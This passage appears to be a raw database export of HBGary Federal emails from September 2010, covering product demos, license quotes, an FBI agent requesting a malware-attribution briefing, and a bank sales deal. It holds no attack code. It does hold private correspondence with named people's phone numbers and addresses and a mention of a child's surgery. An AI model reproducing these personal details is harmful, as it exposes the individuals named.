Ted,\r\n>\r\n>\r\n>\r\n> Will TMC be available to demo via webex next week?  I am assuming via\r\n> webex.  How do you look on 9/14 or 9/15 at 10 am EDT?\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/07/10\r\n02:34:00\r\n\r\n',11438,'aaron_hbgary_com/11438.html'),(11383,'2010-09-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008623.M352520P14101Q6238.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Can you demo TMC next week?','That sounds like a good plan.\r\n\r\nOn Tue, Sep 7, 2010 at 11:56 AM, Bob Slapnik  wrote:\r\n> Ted,\r\n>\r\n> The meeting next week is for everything HBGary has, not just TMC.  I am\r\n> going to schedule Wed 9/15 at 10 EDT and we will demo TMC if we can.\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Tuesday, September 07, 2010 1:53 PM\r\n> To: Bob Slapnik\r\n> Cc: Barr Aaron; mark@hbgary.com\r\n> Subject: Re: Can you demo TMC next week?\r\n>\r\n> Aaron and I will be doing a TMC related webex this Thursday.  Mark is\r\n> working on the basic functionality and GUI now.  We hope to have a\r\n> basic web-interface that will allow users to upload one or more\r\n> (batch) files, and to view basic reports done by this Thursday.  Can\r\n> we wait until Thursday to commit to the date(s) below?\r\n>\r\n> Ted\r\n>\r\n> On Tue, Sep 7, 2010 at 7:03 AM, Bob Slapnik  wrote:\r\n>> Ted,\r\n>>\r\n>>\r\n>>\r\n>> Will TMC be available to demo via webex next week?  I am assuming via\r\n>> webex.  How do you look on 9/14 or 9/15 at 10 am EDT?\r\n>>\r\n>>\r\n>>\r\n>> Bob\r\n>>\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/07/10\r\n> 02:34:00\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',3900,'aaron_hbgary_com/3900.html'),(11384,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008623.M558383P14101Q6239.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: SecDev - licenses','Begin forwarded message:From: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;Date: September 7, 2010 1:17:28 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;Subject: SecDev - licensesDear Aaron,Hope all is well. Please excuse the silence from our side - Rafal\'s 5 month old had open heart surgery a few weeks ago, and there have been some post-operative complications and the baby is still in hospital, and Rafal\'s time for August and this month has been heavily sidetracked.We are working a commercial job doing some cyber investigative stuff for a company, and Nart, our technical lead (I think you\'ve met him?) requires a license for HBGary Responder and FD Pro - could you provide pricing/availability for these two?On the collaboration side, we are looking to reengage with you and the team at HBGary soon.Best wishes,ArnavArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (438) 885-3328E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n',4485,'aaron_hbgary_com/4485.html'),(11385,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008624.M310657P14101Q6240.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: SecDev - licenses','Rafal.  I am very sorry to hear of your circumstances.  I understand.  I had twins in the NICU for 3 months when they were born, hardest time of my life.\r\n\r\nArnav.  I will get that quote out to you asap.\r\n\r\nLet me know when you are ready to reengage.  We have started down a social media path that you might find interesting.  Attached is a brochure for our social media training.  For some organizations we also conduct social media penetration tests and provide information exposure data and wrap the material into the training.  So far that is going well for us.\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\nOn Sep 7, 2010, at 1:17 PM, Arnav Manchanda wrote:\r\n\r\n> Dear Aaron,\r\n> \r\n> Hope all is well. Please excuse the silence from our side - Rafal\'s 5 month old had open heart surgery a few weeks ago, and there have been some post-operative complications and the baby is still in hospital, and Rafal\'s time for August and this month has been heavily sidetracked.\r\n> \r\n> We are working a commercial job doing some cyber investigative stuff for a company, and Nart, our technical lead (I think you\'ve met him?) requires a license for HBGary Responder and FD Pro - could you provide pricing/availability for these two?\r\n> \r\n> On the collaboration side, we are looking to reengage with you and the team at HBGary soon.\r\n> \r\n> Best wishes,\r\n> Arnav\r\n> \r\n> Arnav Manchanda\r\n> Business Capture & Analytics\r\n> \r\n> The SecDev Group\r\n> complexity.engaged\r\n> \r\n> World Exchange Plaza\r\n> 45 O\'Connor Street, Suite 1150\r\n> Ottawa, Ontario K1P 1A4\r\n> Office: +1 (613) 755-4007\r\n> Cell:  +1 (438) 885-3328\r\n> E-mail: a.manchanda@secdev.ca \r\n> \r\n> \r\n> \r\n> This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\n> \r\n> \r\n> \r\n> Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n> \r\n> \r\n\r\n',7025,'aaron_hbgary_com/7025.html'),(11386,'2010-09-07','\"Nathan Atherley\" <nathan.atherley@farallon-research.com>','/aaron@hbgary.com/new/1297008624.M708498P14101Q6241.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Matt Bigge\" <matt@strategicsocial.com>','Introduction','Aaron\r\n\r\nI had a very interesting conversation with Matt (cc\'d) this morning \r\nregarding what he and his company are doing.  Matt is CEO of a company \r\ncalled Strategic Social and in similar swim lanes to what I think you \r\nwant to do as we previously discussed.  Matt is a former Army Ranger and \r\nI think you would get along.  You have similar passions.\r\n\r\nMatt\r\n\r\nAaron is currently heading up a company called HBGary\'s federal business \r\nin Washington DC.  Aaron has a passion for social apps, iphone apps etc \r\nthat have been used in areas of interest by the US Government.  We are \r\nworking with Aaron and HBGary on one of our programs for Farallon \r\nResearch.  BTW, thanks for taking the time this morning, it was a good \r\nand fun conversation.\r\n\r\nI believe you two have some common interests in these areas, and could \r\nbenefit from a conversation.  I would be happy to facilitate a \r\nconference call, or we could all try and meet in the DC area.\r\n\r\nNathan\r\n\r\n\r\n',10313,'aaron_hbgary_com/10313.html'),(11387,'2010-09-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008625.M143646P14101Q6242.eml','mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Estimate from HBGary Federal LLC','Wish me luck, I hope to close this deal at $19600.---------- Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: Tue, Sep 7, 2010 at 1:50 PMSubject: Estimate from HBGary Federal LLCTo: &quot;Lukach, John&quot; &lt;John.Lukach@bankofthewest.com&gt;Hi John,\r\nAttached is the revised pricing as requested.  I look forward to speaking with you shortly.Regards,Ted\r\n\r\n---------- Forwarded message ----------From: HBGary Federal, LLC. &lt;ted@hbgary.com&gt;Date: Tue, Sep 7, 2010 at 1:47 PM\r\n\r\nSubject: Estimate from HBGary Federal LLCTo: ted@hbgary.comCc: ted@hbgary.com\r\n\r\n\r\n\r\n  \r\n    \r\n    \r\n		Dear John B. Lukach,Please review the estimate below.  Feel free to contact us if you have any questions.We look forward to working with you.Sincerely,HBGary Federal LLC\r\n		------------------------  Estimate Summary  --------------------------Estimate #: 1003Estimate Date: 09/07/2010Expiration Date: 09/30/2010Total: $19,600.00The complete version has been provided as an attachment to this email.\r\n\r\n---------------------------------------------------------------------\r\n    \r\n    \r\n  \r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n',4672,'aaron_hbgary_com/4672.html'),(11388,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008625.M427503P14101Q6243.eml','\"Nathan Atherley\" <nathan.atherley@farallon-research.com>,\"Nathan Atherley\" <nathan.atherley@farallon-research.com>','Re: Introduction','Nate,\r\n\r\nThanks for the intro.  Lets get together if schedules permit, this topic is always good over a beer or food.\r\n\r\nGreg and I currently have a side project we are working on that is focused around location and social gaming that we are pretty excited about that I would be happy to tell you a little about.\r\n\r\nAaron\r\n\r\n\r\nOn Sep 7, 2010, at 3:18 PM, Nathan Atherley wrote:\r\n\r\n> Aaron\r\n> \r\n> I had a very interesting conversation with Matt (cc\'d) this morning regarding what he and his company are doing.  Matt is CEO of a company called Strategic Social and in similar swim lanes to what I think you want to do as we previously discussed.  Matt is a former Army Ranger and I think you would get along.  You have similar passions.\r\n> \r\n> Matt\r\n> \r\n> Aaron is currently heading up a company called HBGary\'s federal business in Washington DC.  Aaron has a passion for social apps, iphone apps etc that have been used in areas of interest by the US Government.  We are working with Aaron and HBGary on one of our programs for Farallon Research.  BTW, thanks for taking the time this morning, it was a good and fun conversation.\r\n> \r\n> I believe you two have some common interests in these areas, and could benefit from a conversation.  I would be happy to facilitate a conference call, or we could all try and meet in the DC area.\r\n> \r\n> Nathan\r\n> \r\n> \r\n\r\n',10934,'aaron_hbgary_com/10934.html'),(11389,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008625.M653778P14101Q6244.eml','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','Re: FIRST Conference in Miami','Hi Chris,\r\n\r\nI would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n\r\nI will be on travel Mon and Tues next week.  Let me know your availability.\r\n\r\nAaron\r\n\r\n\r\nOn Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n\r\n> Aaron,\r\n> \r\n> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide. \r\n> \r\n> Thank You,\r\n> \r\n> Chris  \r\n> \r\n> \r\n> SSA Christopher A. Geary\r\n> CERT/CC Liaison\r\n> 3238 CIC \r\n> Pittsburgh, PA 15213\r\n> \r\n> (412) 268-9244\r\n\r\n',1697,'aaron_hbgary_com/1697.html'),(11390,'2010-09-07','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','/aaron@hbgary.com/new/1297008625.M864639P14101Q6245.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: FIRST Conference in Miami','Aaron,\r\n\r\nThank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.  \r\n\r\nThanks,\r\n\r\nChris\r\n\r\n\r\n\r\nSSA Christopher A. Geary\r\nCERT/CC Liaison\r\n3238 CIC\r\nPittsburgh, PA 15213\r\n\r\n(412) 268-9244\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Tuesday, September 07, 2010 4:06 PM\r\nTo: Geary, Christopher A.\r\nSubject: Re: FIRST Conference in Miami\r\n\r\nHi Chris,\r\n\r\nI would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n\r\nI will be on travel Mon and Tues next week.  Let me know your availability.\r\n\r\nAaron\r\n\r\n\r\nOn Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n\r\n> Aaron,\r\n>\r\n> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>\r\n> Thank You,\r\n>\r\n> Chris\r\n>\r\n>\r\n> SSA Christopher A. Geary\r\n> CERT/CC Liaison\r\n> 3238 CIC\r\n> Pittsburgh, PA 15213\r\n>\r\n> (412) 268-9244\r\n\r\n',2747,'aaron_hbgary_com/2747.html'),(11391,'2010-09-07','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297008626.M77697P14101Q6246.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','FW: How is the DoD Using Social Media','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nDefense Daily webinar\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\n\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: John Robinson\r\n[mailto:reply-99764@mail.accessintelemail.com] \r\nSent: Tuesday, September 07, 2010 4:05 PM\r\nTo: bob@hbgary.com\r\nSubject: How is the DoD Using Social Media\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  How the DoD is Using Social Media\r\n  a webinar\r\n  presented by Defense Daily\r\n  Monday, October 4,\r\n  2010\r\n  11:00 a.m. – 12:30\r\n  p.m. \r\n  www.defensedaily.com/events/socialmediawebinar\r\n  \r\n  \r\n  \r\n   \r\n    \r\n    Hear\r\n    From:\r\n    \r\n   \r\n   \r\n    \r\n    Maj. Juanita Chang\r\n    Director, Online and Social Media Division of the \r\n    Office of the Chief of Public Affairs\r\n    U.S. Army \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Cmdr. Scott McIlnay\r\n    Director of Emerging Media Integration \r\n    Department of the Navy\'s Office of Information (CHINFO) \r\n    U.S. Navy \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Gregg Your\r\n    Chief of Command Information/Public Access Web Content Manager\r\n    U.S. Joint Forces Command \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    Webinar\r\n    Moderator\r\n    John Bell\r\n    Managing Director/360° Digital Influence\r\n    Ogilvy Public Relations \r\n    \r\n    \r\n   \r\n  \r\n  You\r\n  will take away from this 90 minute webinar knowledgeable insight and analysis\r\n  of what the near term future holds for DoD\'s social media efforts. \r\n  \r\n  You can view it at your desk or gather around a speakerphone in a conference\r\n  room – no travel\r\n  required! Each registration comes with access to the archived\r\n  version of the program and the PDFs of the speaker materials for twelve\r\n  months. \r\n  Visit\r\n  www.defensedaily.com/events/socialmediawebinar\r\n  to register and for more information. Register your team today!\r\n  &nbsp;\r\n  Defense Daily - Access Intelligence, LLC -\r\n  4 Choke Cherry Road 2nd Floor - Rockville, MD 20850\r\n  To unsubscribe, click\r\n  here or send an email to: unsubscribe-99764@mail.accessintelemail.com\r\n  \r\n \r\n\r\n\r\n\r\n\r\nNo virus found\r\nin this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/07/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8899,'aaron_hbgary_com/8899.html'),(11392,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008627.M188175P14101Q6247.eml','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','Re: FIRST Conference in Miami','Chris,\r\n\r\nSure either week is fine with me.  Let me know what works for you.\r\n\r\nAaron\r\n\r\nOn Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:\r\n\r\n> Aaron,\r\n> \r\n> Thank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.  \r\n> \r\n> Thanks,\r\n> \r\n> Chris\r\n> \r\n> \r\n> \r\n> SSA Christopher A. Geary\r\n> CERT/CC Liaison\r\n> 3238 CIC\r\n> Pittsburgh, PA 15213\r\n> \r\n> (412) 268-9244\r\n> ________________________________________\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: Tuesday, September 07, 2010 4:06 PM\r\n> To: Geary, Christopher A.\r\n> Subject: Re: FIRST Conference in Miami\r\n> \r\n> Hi Chris,\r\n> \r\n> I would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n> \r\n> I will be on travel Mon and Tues next week.  Let me know your availability.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>> \r\n>> Thank You,\r\n>> \r\n>> Chris\r\n>> \r\n>> \r\n>> SSA Christopher A. Geary\r\n>> CERT/CC Liaison\r\n>> 3238 CIC\r\n>> Pittsburgh, PA 15213\r\n>> \r\n>> (412) 268-9244\r\n> \r\n\r\n',8363,'aaron_hbgary_com/8363.html'),(11393,'2010-09-07','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','/aaron@hbgary.com/new/1297008627.M534749P14101Q6248.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: FIRST Conference in Miami','Ok, Thanks.  I am waiting on hearing back from a couple of people on their schedules.  Currently, I am leaning towards next Wednesday, as long as that doesn\'t put you out. \r\n\r\n\r\nChris\r\n\r\n\r\nSSA Christopher A. Geary\r\nCERT/CC Liaison\r\n3238 CIC\r\nPittsburgh, PA 15213\r\n\r\n(412) 268-9244\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Tuesday, September 07, 2010 4:31 PM\r\nTo: Geary, Christopher A.\r\nSubject: Re: FIRST Conference in Miami\r\n\r\nChris,\r\n\r\nSure either week is fine with me.  Let me know what works for you.\r\n\r\nAaron\r\n\r\nOn Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:\r\n\r\n> Aaron,\r\n>\r\n> Thank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.\r\n>\r\n> Thanks,\r\n>\r\n> Chris\r\n>\r\n>\r\n>\r\n> SSA Christopher A. Geary\r\n> CERT/CC Liaison\r\n> 3238 CIC\r\n> Pittsburgh, PA 15213\r\n>\r\n> (412) 268-9244\r\n> ________________________________________\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: Tuesday, September 07, 2010 4:06 PM\r\n> To: Geary, Christopher A.\r\n> Subject: Re: FIRST Conference in Miami\r\n>\r\n> Hi Chris,\r\n>\r\n> I would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n>\r\n> I will be on travel Mon and Tues next week.  Let me know your availability.\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>>\r\n>> Thank You,\r\n>>\r\n>> Chris\r\n>>\r\n>>\r\n>> SSA Christopher A. Geary\r\n>> CERT/CC Liaison\r\n>> 3238 CIC\r\n>> Pittsburgh, PA 15213\r\n>>\r\n>> (412) 268-9244\r\n>\r\n\r\n',13991,'aaron_hbgary_com/13991.html'),(11394,'2010-09-07','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','/aaron@hbgary.com/new/1297008627.M745292P14101Q6249.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: FIRST Conference in Miami','Aaron,\r\n\r\n\r\nWhere would you want to meet? You mentioned your Regus offices, where is that located?  Sorry I am not familiar with D.C.\r\n\r\nChris\r\n\r\n\r\nSSA Christopher A. Geary\r\nCERT/CC Liaison\r\n3238 CIC\r\nPittsburgh, PA 15213\r\n\r\n(412) 268-9244\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Tuesday, September 07, 2010 4:31 PM\r\nTo: Geary, Christopher A.\r\nSubject: Re: FIRST Conference in Miami\r\n\r\nChris,\r\n\r\nSure either week is fine with me.  Let me know what works for you.\r\n\r\nAaron\r\n\r\nOn Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:\r\n\r\n> Aaron,\r\n>\r\n> Thank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.\r\n>\r\n> Thanks,\r\n>\r\n> Chris\r\n>\r\n>\r\n>\r\n> SSA Christopher A. Geary\r\n> CERT/CC Liaison\r\n> 3238 CIC\r\n> Pittsburgh, PA 15213\r\n>\r\n> (412) 268-9244\r\n> ________________________________________\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: Tuesday, September 07, 2010 4:06 PM\r\n> To: Geary, Christopher A.\r\n> Subject: Re: FIRST Conference in Miami\r\n>\r\n> Hi Chris,\r\n>\r\n> I would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n>\r\n> I will be on travel Mon and Tues next week.  Let me know your availability.\r\n>\r\n> Aaron\r\n>\r\n>\r\n> On Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n>\r\n>> Aaron,\r\n>>\r\n>> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>>\r\n>> Thank You,\r\n>>\r\n>> Chris\r\n>>\r\n>>\r\n>> SSA Christopher A. Geary\r\n>> CERT/CC Liaison\r\n>> 3238 CIC\r\n>> Pittsburgh, PA 15213\r\n>>\r\n>> (412) 268-9244\r\n>\r\n\r\n',13296,'aaron_hbgary_com/13296.html'),(11395,'2010-09-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008628.M346843P14101Q6251.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: SecDev - licenses','Sent from my iPhoneBegin forwarded message:From: Arnav Manchanda &lt;a.manchanda@secdev.ca&gt;\r\nDate: September 7, 2010 4:43:19 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;\r\nSubject: Re: SecDev - licensesHi Aaron,Thanks for this. The work we need your product for is for a large US based telco, and we envision it becoming a client of SecDev/HBGary as part of a larger set of managed security services. Thus we would like to be able to price accordingly to entice the client to use the product as part of their managed service.\r\nBest wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-09-07, at 2:24 PM, Aaron Barr wrote:\r\nRafal.  I am very sorry to hear of your circumstances.  I understand.  I had twins in the NICU for 3 months when they were born, hardest time of my life.Arnav.  I will get that quote out to you asap.\r\nLet me know when you are ready to reengage.  We have started down a social media path that you might find interesting.  Attached is a brochure for our social media training.  For some organizations we also conduct social media penetration tests and provide information exposure data and wrap the material into the training.  So far that is going well for us.\r\nAaron&lt;HBGary Federal Social Media Training Brochure.pdf&gt;\r\nOn Sep 7, 2010, at 1:17 PM, Arnav Manchanda wrote:\r\nDear Aaron,Hope all is well. Please excuse the silence from our side - Rafal&#39;s 5 month old had open heart surgery a few weeks ago, and there have been some post-operative complications and the baby is still in hospital, and Rafal&#39;s time for August and this month has been heavily sidetracked.\r\nWe are working a commercial job doing some cyber investigative stuff for a company, and Nart, our technical lead (I think you&#39;ve met him?) requires a license for HBGary Responder and FD Pro - could you provide pricing/availability for these two?\r\nOn the collaboration side, we are looking to reengage with you and the team at HBGary soon.Best wishes,Arnav\r\n\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; AnalyticsThe SecDev Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (438) 885-3328E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n',11508,'aaron_hbgary_com/11508.html'),(11396,'2010-09-07','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008628.M552445P14101Q6252.eml','\"David Gerulski\" <dgerulski@endgames.us>,\"David Gerulski\" <dgerulski@endgames.us>,','Bank of the West','I just got off the phone with John from Bank of the West, reviewing\r\nthe updated 12-month quote.  He was good with the $19,600 annual\r\npricing.  He mentioned that the IP\'s Mark ran last week just prior to\r\nJohn\'s meeting with management was \"very useful\" in helping him make\r\nhis case to mgmt.  He has the final approval meeting this Thursday.  I\r\ntold him that to sweeten the pot and help close the deal we\'ll get his\r\nservice turned on ASAP and give him the remainder of this month free\r\nstarting on the day they execute the proposal.\r\n\r\nTed\r\n',6131,'aaron_hbgary_com/6131.html'),(11397,'2010-09-07','\"David Gerulski\" <dgerulski@endgames.us>','/aaron@hbgary.com/new/1297008628.M757361P14101Q6253.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: Bank of the West','Nice job. Good luck!Dave\r\nDavid GerulskiVP Commercial&nbsp;Sales &amp; Marketing&nbsp;ipTrust,&nbsp;&nbsp;a division of Endgame Systemse: &nbsp; dcg@iptrust.comw: &nbsp;www.iptrust.como: &nbsp; 404.941.3810c: &nbsp; 770.906.3283\r\n\r\nOn Sep 7, 2010, at 4:49 PM, Ted Vera wrote:I just got off the phone with John from Bank of the West, reviewingthe updated 12-month quote. &nbsp;He was good with the $19,600 annualpricing. &nbsp;He mentioned that the IP\'s Mark ran last week just prior toJohn\'s meeting with management was \"very useful\" in helping him makehis case to mgmt. &nbsp;He has the final approval meeting this Thursday. &nbsp;Itold him that to sweeten the pot and help close the deal we\'ll get hisservice turned 